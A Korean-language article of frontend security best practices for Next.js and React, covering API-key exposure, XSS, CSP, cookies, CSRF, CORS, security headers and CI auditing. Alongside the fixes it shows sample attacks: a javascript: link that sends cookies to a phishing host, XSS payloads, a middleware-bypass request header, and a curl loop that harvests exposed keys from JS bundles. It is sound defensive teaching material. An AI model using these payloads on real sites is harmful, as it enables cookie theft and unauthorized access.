2026 Frontend Security Best Practices

// 코드에서는 이렇게 보이지만
const headers = {
  Authorization: `Bearer ${process.env.NEXT_PUBLIC_OPENAI_KEY}`,
};
 
// 빌드 후 번들(main-abc123.js)에서는 이렇게 됩니다
const headers = {
  Authorization: 'Bearer sk-proj-실제키값이여기에박힘',
  // → 누구나 DevTools로 볼 수 있음
};

// ❌ 클라이언트에서 직접 호출 → 키가 번들에 포함됨
async function summarize(text: string) {
  return fetch('https://api.openai.com/v1/chat/completions', {
    headers: { Authorization: `Bearer ${process.env.NEXT_PUBLIC_OPENAI_KEY}` },
  });
}
 
// ✅ 내 서버 Route를 경유 → 키는 서버에만 존재
// Client Component
async function summarize(text: string) {
  return fetch('/api/llm', {
    method: 'POST',
    body: JSON.stringify({ text }),
  });
}
 
// app/api/llm/route.ts (서버에서만 실행, 번들에 포함되지 않음)
export async function POST(req: Request) {
  const { text } = await req.json();
  return fetch('https://api.openai.com/v1/chat/completions', {
    headers: { Authorization: `Bearer ${process.env.OPENAI_KEY}` }, // NEXT_PUBLIC_ 없음
  });
}

SITE=https://www.sitename.com
 
for js in $(curl -s $SITE | grep -oE '/_next/static/[^"]+\.js' | sort -u); do
  curl -s "$SITE$js"
done \
| grep -aoE 'NEXT_PUBLIC_[A-Z0-9_]+' \
| sort -u

const comment = '<script>alert("XSS")</script>';
 
// 스크립트 실행 안 됨
return <div>{comment}</div>;

// ❌ 사용자가 입력한 HTML을 그대로 렌더링 → XSS 취약
<div dangerouslySetInnerHTML={{ __html: userInput }} />;
 
// ✅ DOMPurify로 먼저 정화한 후 사용
import DOMPurify from 'dompurify';
 
<div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(userInput) }} />;

// 공격자가 href에 아래 값을 넣으면?
const url = 'javascript:document.location="https://피싱사이트.com?c="+document.cookie';
 
// ❌ 그대로 사용하면 클릭 시 쿠키 탈취
<a href={url}>이벤트 당첨 확인하기</a>;
 
// ✅ http/https만 허용
function isSafeUrl(url: string) {
  try {
    const { protocol } = new URL(url);
    return protocol === 'http:' || protocol === 'https:';
  } catch {
    return false;
  }
}
<a href={isSafeUrl(url) ? url : '#'}>{label}</a>;

// ❌ URL의 name 파라미터를 HTML로 삽입
// 공격자가 ?name=<img src=x onerror=alert(1)> 같은 URL을 공유하면?
const name = new URLSearchParams(location.search).get('name');
document.getElementById('greeting')!.innerHTML = `안녕하세요, ${name}님!`;
 
// ✅ textContent 사용 (HTML 파싱 없이 텍스트만 표시)
document.getElementById('greeting')!.textContent = `안녕하세요, ${name}님!`;

CSP 없는 경우:
공격자 스크립트 삽입 → 브라우저가 그냥 실행 → 쿠키 탈취, 악성 서버로 데이터 전송
 
CSP 있는 경우:
공격자 스크립트 삽입 → 브라우저가 "이 출처는 허용 안 됨" → 실행 차단

const isDev = process.env.NODE_ENV === 'development';
 
module.exports = {
  async headers() {
    return [
      {
        source: '/(.*)',
        headers: [
          {
            key: 'Content-Security-Policy',
            value: [
              "default-src 'self'", // 기본: 자기 도메인만 허용
              `script-src 'self' ${isDev ? "'unsafe-eval'" : ''}`, // 스크립트: 자기 도메인만
              "style-src 'self' 'unsafe-inline'", // 스타일: 인라인 허용
              "img-src 'self' blob: data: https:", // 이미지: https 전체 허용
              "object-src 'none'", // Flash 등 플러그인 완전 차단
              "frame-ancestors 'none'", // iframe 삽입 차단 (클릭재킹 방어)
              'upgrade-insecure-requests', // 요청을 https로 업그레이드하도록 지시
              //... 추가 설정
            ].join('; '),
          },
        ],
      },
    ];
  },
};

import { NextRequest, NextResponse } from 'next/server';
 
export function proxy(request: NextRequest) {
  const nonce = Buffer.from(crypto.randomUUID()).toString('base64');
  const isDev = process.env.NODE_ENV === 'development';
  const cspHeader = `
    default-src 'self';
    script-src 'self' 'nonce-${nonce}' 'strict-dynamic'${isDev ? " 'unsafe-eval'" : ''};
    style-src 'self' 'nonce-${nonce}';
    img-src 'self' blob: data:;
    font-src 'self';
    object-src 'none';
    base-uri 'self';
    form-action 'self';
    frame-ancestors 'none';
    upgrade-insecure-requests;
`;
  // 줄바꿈 문자와 연속된 공백을 치환합니다
  const contentSecurityPolicyHeaderValue = cspHeader.replace(/\s{2,}/g, ' ').trim();
 
  const requestHeaders = new Headers(request.headers);
  requestHeaders.set('x-nonce', nonce);
 
  requestHeaders.set('Content-Security-Policy', contentSecurityPolicyHeaderValue);
 
  const response = NextResponse.next({
    request: {
      headers: requestHeaders,
    },
  });
  response.headers.set('Content-Security-Policy', contentSecurityPolicyHeaderValue);
 
  return response;
}

# nginx.conf
server {
  add_header Content-Security-Policy
    "default-src 'self';
     script-src 'self';
     style-src 'self' 'unsafe-inline';
     img-src 'self' data: blob:;
     connect-src 'self' https://api.yourapp.com;
     frame-ancestors 'none';" always;
}

// CSP 헤더에 report-to 추가
Content-Security-Policy: default-src 'self'; report-to name-of-endpoint
 
// app/api/csp-report/route.ts
export async function POST(req: Request) {
  const report = await req.json();
  console.error('[CSP Violation]', JSON.stringify(report, null, 2));
  return new Response(null, { status: 204 });
}

export async function POST(req: Request) {
  const token = await authenticate(req);
 
  return new Response(JSON.stringify({ success: true }), {
    headers: {
      'Set-Cookie': [
        `auth_token=${token}`,
        'HttpOnly', // JS에서 접근 불가 → XSS 방어
        'Secure', // HTTPS에서만 전송
        'SameSite=Strict', // 같은 사이트 요청에서만 전송 → CSRF 방어
        'Max-Age=604800', // 7일
        'Path=/',
      ].join('; '),
    },
  });
}

1. 사용자가 은행 사이트에 로그인된 상태
2. 공격자가 만든 피싱 페이지를 사용자가 방문
3. 그 페이지에 숨겨진 폼이 자동으로 은행 서버에 송금 요청을 보냄
4. 은행 서버는 "인증된 쿠키가 있으니 정상 요청"으로 처리

// ❌ 아무 검증 없이 처리하면 CSRF 취약
export async function POST(req: Request) {
  const { amount, to } = await req.json();
  await transferMoney(amount, to);
}

// ✅ Origin 헤더를 직접 검증
export async function POST(req: Request) {
  const origin = req.headers.get('origin');
  const allowedOrigins = ['https://yourapp.com'];
 
  if (!origin || !allowedOrigins.includes(origin)) {
    return new Response('Forbidden', { status: 403 });
  }
 
  const { amount, to } = await req.json();
  await transferMoney(amount, to);
}

// ❌ 공격자가 <img src="https://yourapp.com/api/delete?id=123"> 하나로 공격 가능
app.get('/api/user/delete', deleteUser);
 
// ✅ 상태 변경은 반드시 POST, PUT, DELETE 사용
app.delete('/api/user/:id', deleteUser);

// ❌ user 객체 전체를 넘기면 password hash, phone 등도 클라이언트에 노출될 수 있음
const user = await db.user.findUnique({ where: { id } });
return <ProfileCard user={user} />;
 
// ✅ 필요한 것만 넘기기
const user = await db.user.findUnique({ where: { id } });
return <ProfileCard name={user.name} avatarUrl={user.avatarUrl} />;

import 'server-only'; // ← Client Component에서의 import를 빌드 에러로 막아줌
import { cache } from 'react';
import { cookies } from 'next/headers';
 
export const getCurrentUser = cache(async () => {
  const token = (await cookies()).get('auth_token')?.value;
  if (!token) return null;
  return validateToken(token);
});

'use server';
import { z } from 'zod';
 
const schema = z.object({ id: z.string().uuid() });
 
export async function deletePost(formData: FormData) {
  // 1단계: 인증 확인
  const user = await getCurrentUser();
  if (!user) throw new Error('Unauthorized');
 
  // 2단계: 입력값 검증
  const result = schema.safeParse({ id: formData.get('id') });
  if (!result.success) throw new Error('잘못된 입력값');
 
  // 3단계: 권한 확인 (내 글인지 확인)
  const post = await db.post.findUnique({ where: { id: result.data.id } });
  if (post?.authorId !== user.id) throw new Error('Forbidden');
 
  await db.post.delete({ where: { id: result.data.id } });
}

GET /admin/dashboard HTTP/1.1
Host: yourapp.com
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

npm install next@latest
npm install react@latest react-dom@latest

https://github.com/vercel/next.js/security/advisories
https://github.com/facebook/react/security/advisories

# .github/dependabot.yml
version: 2
updates:
  - package-ecosystem: 'npm'
    directory: '/'
    schedule:
      interval: 'weekly'
    # 보안 업데이트는 즉시 PR 생성
    open-pull-requests-limit: 10

# 지금 사용 중인 패키지의 알려진 취약점 확인
npm audit
 
# 어떤 버전이 영향받는지 상세 확인
npm audit --json | jq '.vulnerabilities'

module.exports = {
  async headers() {
    return [
      {
        source: '/(.*)',
        headers: [
          // iframe으로 내 페이지를 삽입하는 클릭재킹 공격 차단
          { key: 'X-Frame-Options', value: 'DENY' },
 
          // 브라우저가 파일 타입을 임의로 추측하는 것 방지
          // (txt 파일을 JS로 실행하는 공격 차단)
          { key: 'X-Content-Type-Options', value: 'nosniff' },
 
          // 외부 사이트로 이동 시 URL 경로를 Referer 헤더에 포함하지 않음
          { key: 'Referrer-Policy', value: 'strict-origin-when-cross-origin' },
 
          // 이후 모든 요청을 HTTPS로 강제 (1년간)
          { key: 'Strict-Transport-Security', value: 'max-age=31536000; includeSubDomains' },
 
          // 불필요한 브라우저 기능 비활성화
          { key: 'Permissions-Policy', value: 'camera=(), microphone=(), geolocation=()' },
        ],
      },
    ];
  },
};

1. 사용자가 evil.com 방문
2. evil.com 스크립트가 fetch('https://yourapi.com/public-but-sensitive')
3. CORS: \* 이므로 evil.com의 JavaScript가 응답 본문을 읽음

const ALLOWED_ORIGINS = [
  'https://yourapp.com',
  'https://www.yourapp.com',
  // 개발 환경에서만 localhost 허용
  ...(process.env.NODE_ENV === 'development' ? ['http://localhost:3000'] : []),
];
 
export async function GET(request: Request) {
  const origin = request.headers.get('origin') ?? '';
  const isAllowed = ALLOWED_ORIGINS.includes(origin);
 
  return Response.json(
    { data: '...' },
    {
      headers: isAllowed
        ? {
            'Access-Control-Allow-Origin': origin, // * 대신 명시적 origin
            'Access-Control-Allow-Credentials': 'true',
            Vary: 'Origin', // 캐시가 origin별로 분리되도록
          }
        : {},
    },
  );
}

export default defineConfig({
  server: {
    proxy: {
      '/api': {
        target: 'http://localhost:8080',
        changeOrigin: true,
      },
    },
  },
});
// ⚠️ 이 설정은 개발용입니다. 프로덕션에서는 서버에 CORS 설정이 필요합니다.

# .github/workflows/security.yml
name: Security Checks
 
on: [push, pull_request]
 
jobs:
  security:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v6
 
      - name: Install dependencies
        run: npm ci # npm install 대신 ci 사용 (--frozen-lockfile 역할)
 
      # 1. 의존성 취약점 검사
      - name: Dependency audit
        run: npm audit --audit-level=high
 
      # 2. 시크릿 노출 검사 (코드 안에 API 키 등이 있는지 확인)
      - name: Secret scanning
        uses: trufflesecurity/trufflehog@main
        with:
          path: ./
          base: ${{ github.event.repository.default_branch }}
          head: HEAD
 
      - name: Build
        run: npm run build

npm install --save-dev eslint-plugin-security

// eslint.config.js
import pluginSecurity from 'eslint-plugin-security';
 
export default [
  pluginSecurity.configs.recommended,
  {
    rules: {
      'react/no-danger': 'error', // dangerouslySetInnerHTML 사용 금지
      'no-eval': 'error', // eval() 사용 금지
      'no-implied-eval': 'error',
    },
  },
];